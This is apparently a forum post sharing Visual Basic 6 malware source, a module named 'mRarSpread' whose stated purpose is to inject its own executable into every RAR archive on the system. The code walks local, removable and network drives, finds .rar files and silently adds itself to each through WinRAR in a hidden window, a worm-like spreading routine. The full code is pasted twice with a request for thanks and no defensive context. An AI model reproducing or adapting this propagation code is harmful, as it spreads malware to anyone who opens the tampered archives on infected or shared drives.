manzalawi
01-29-2011, 11:37 AM
'---------------------------------------------------------------------------------------
' Module : mRarSpread
' DateTime : 2010/01/13
' Coder : ParadoX
' Purpose : Injects own file into every rar-file on system
' Usage : At your own risk
' Call SearchAndInfectRars [Starts the proccess]
' Requirements: None
'---------------------------------------------------------------------------------------
Option Explicit
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetShortPathName Lib "kernel32.dll" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Const MAX_PATH = 260
Private Const INVALID_HANDLE_VALUE = -1
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Public Function SearchAndInfectRars() As Boolean
On Error Resume Next
If Dir(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe") <> "" Then
Dim sBuffer As String * 255
Dim sDrives As String
Dim lResult As Long
Dim sDrive As String
Dim sPos As Integer
Dim lType As Long
Call CopyFile(App.Path & "\" & App.EXEName & ".exe", Environ("HOMEDRIVE") & App.EXEName & ".exe", False)
lResult = GetLogicalDriveStrings(Len(sBuffer), sBuffer)
sDrives = Left$(sBuffer, lResult)
While Len(sDrives) > 0
sPos = InStr(sDrives, Chr$(0))
sDrive = Left$(sDrives, sPos - 1)
sDrives = Mid$(sDrives, sPos + 1)
lType = GetDriveType(sDrive)
If lType = 2 Or lType = 3 Or lType = 4 Then
Call FindFiles(Left$(sDrive, 2), "*.rar")
End If
Wend
End If
End Function
Private Function RARSpread(ByVal WinrarPath As String, ByVal RarArchive As String, ByVal Malware As String) As Boolean
On Error GoTo err:
If (Dir(WinrarPath) <> "") And (Dir(RarArchive) <> "") And (Dir(Malware) <> "") Then
Dim lRet As Long
lRet = ShellExecute(GetModuleHandle(App.Path), "open", WinrarPath, " a -y " & RarArchive & " " & Malware, "C:\", 0)
If lRet = 42 Then
RARSpread = True
Else
RARSpread = False
End If
Else
RARSpread = False
End If
Exit Function
err:
RARSpread = False
End Function
Private Sub FindFiles(ByVal vsFolderPath As String, ByVal vsSearch As String)
Dim WFD As WIN32_FIND_DATA
Dim hSearch As Long
Dim strDirName As String
DoEvents
If Right$(vsFolderPath, 1) <> "\" Then
vsFolderPath = vsFolderPath & "\"
End If
hSearch = FindFirstFile(vsFolderPath & "*.*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then GetFilesInFolder vsFolderPath, vsSearch
Do
If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) Then strDirName = TrimNulls(WFD.cFileName)
If (strDirName <> ".") And (strDirName <> "..") Then
FindFiles vsFolderPath & strDirName, vsSearch
End If
Loop While FindNextFile(hSearch, WFD)
FindClose hSearch
Kill "C:\" & App.EXEName & ".exe"
End Sub
Private Sub GetFilesInFolder(ByVal vsFolderPath As String, ByVal vsSearch As String)
On Error Resume Next
Dim WFD As WIN32_FIND_DATA
Dim hSearch As Long
Dim strFileName As String
Dim lVal As Long
Dim short_path As String
If Right$(vsFolderPath, 1) <> "\" Then
vsFolderPath = vsFolderPath & "\"
End If
hSearch = FindFirstFile(vsFolderPath & vsSearch, WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do
If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY Then
strFileName = TrimNulls(WFD.cFileName)
short_path = Space$(256)
lVal = GetShortPathName(vsFolderPath & strFileName, short_path, Len(short_path))
Call RARSpread(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe", Left$(short_path, lVal), Environ("HOMEDRIVE") & App.EXEName & ".exe")
End If
Loop While FindNextFile(hSearch, WFD)
FindClose hSearch
End If
End Sub
Private Function TrimNulls(ByVal vsStringIn As String) As String
If InStr(vsStringIn, Chr(0)) > 0 Then
vsStringIn = Left$(vsStringIn, InStr(vsStringIn, Chr(0)) - 1)
End If
TrimNulls = vsStringIn
End Function
dont 4get say thx :)
' Module : mRarSpread
' DateTime : 2010/01/13
' Coder : ParadoX
' Purpose : Injects own file into every rar-file on system
' Usage : At your own risk
' Call SearchAndInfectRars [Starts the proccess]
' Requirements: None
'---------------------------------------------------------------------------------------
Option Explicit
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetShortPathName Lib "kernel32.dll" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Const MAX_PATH = 260
Private Const INVALID_HANDLE_VALUE = -1
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Public Function SearchAndInfectRars() As Boolean
On Error Resume Next
If Dir(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe") <> "" Then
Dim sBuffer As String * 255
Dim sDrives As String
Dim lResult As Long
Dim sDrive As String
Dim sPos As Integer
Dim lType As Long
Call CopyFile(App.Path & "\" & App.EXEName & ".exe", Environ("HOMEDRIVE") & App.EXEName & ".exe", False)
lResult = GetLogicalDriveStrings(Len(sBuffer), sBuffer)
sDrives = Left$(sBuffer, lResult)
While Len(sDrives) > 0
sPos = InStr(sDrives, Chr$(0))
sDrive = Left$(sDrives, sPos - 1)
sDrives = Mid$(sDrives, sPos + 1)
lType = GetDriveType(sDrive)
If lType = 2 Or lType = 3 Or lType = 4 Then
Call FindFiles(Left$(sDrive, 2), "*.rar")
End If
Wend
End If
End Function
Private Function RARSpread(ByVal WinrarPath As String, ByVal RarArchive As String, ByVal Malware As String) As Boolean
On Error GoTo err:
If (Dir(WinrarPath) <> "") And (Dir(RarArchive) <> "") And (Dir(Malware) <> "") Then
Dim lRet As Long
lRet = ShellExecute(GetModuleHandle(App.Path), "open", WinrarPath, " a -y " & RarArchive & " " & Malware, "C:\", 0)
If lRet = 42 Then
RARSpread = True
Else
RARSpread = False
End If
Else
RARSpread = False
End If
Exit Function
err:
RARSpread = False
End Function
Private Sub FindFiles(ByVal vsFolderPath As String, ByVal vsSearch As String)
Dim WFD As WIN32_FIND_DATA
Dim hSearch As Long
Dim strDirName As String
DoEvents
If Right$(vsFolderPath, 1) <> "\" Then
vsFolderPath = vsFolderPath & "\"
End If
hSearch = FindFirstFile(vsFolderPath & "*.*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then GetFilesInFolder vsFolderPath, vsSearch
Do
If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) Then strDirName = TrimNulls(WFD.cFileName)
If (strDirName <> ".") And (strDirName <> "..") Then
FindFiles vsFolderPath & strDirName, vsSearch
End If
Loop While FindNextFile(hSearch, WFD)
FindClose hSearch
Kill "C:\" & App.EXEName & ".exe"
End Sub
Private Sub GetFilesInFolder(ByVal vsFolderPath As String, ByVal vsSearch As String)
On Error Resume Next
Dim WFD As WIN32_FIND_DATA
Dim hSearch As Long
Dim strFileName As String
Dim lVal As Long
Dim short_path As String
If Right$(vsFolderPath, 1) <> "\" Then
vsFolderPath = vsFolderPath & "\"
End If
hSearch = FindFirstFile(vsFolderPath & vsSearch, WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do
If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY Then
strFileName = TrimNulls(WFD.cFileName)
short_path = Space$(256)
lVal = GetShortPathName(vsFolderPath & strFileName, short_path, Len(short_path))
Call RARSpread(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe", Left$(short_path, lVal), Environ("HOMEDRIVE") & App.EXEName & ".exe")
End If
Loop While FindNextFile(hSearch, WFD)
FindClose hSearch
End If
End Sub
Private Function TrimNulls(ByVal vsStringIn As String) As String
If InStr(vsStringIn, Chr(0)) > 0 Then
vsStringIn = Left$(vsStringIn, InStr(vsStringIn, Chr(0)) - 1)
End If
TrimNulls = vsStringIn
End Function
dont 4get say thx :)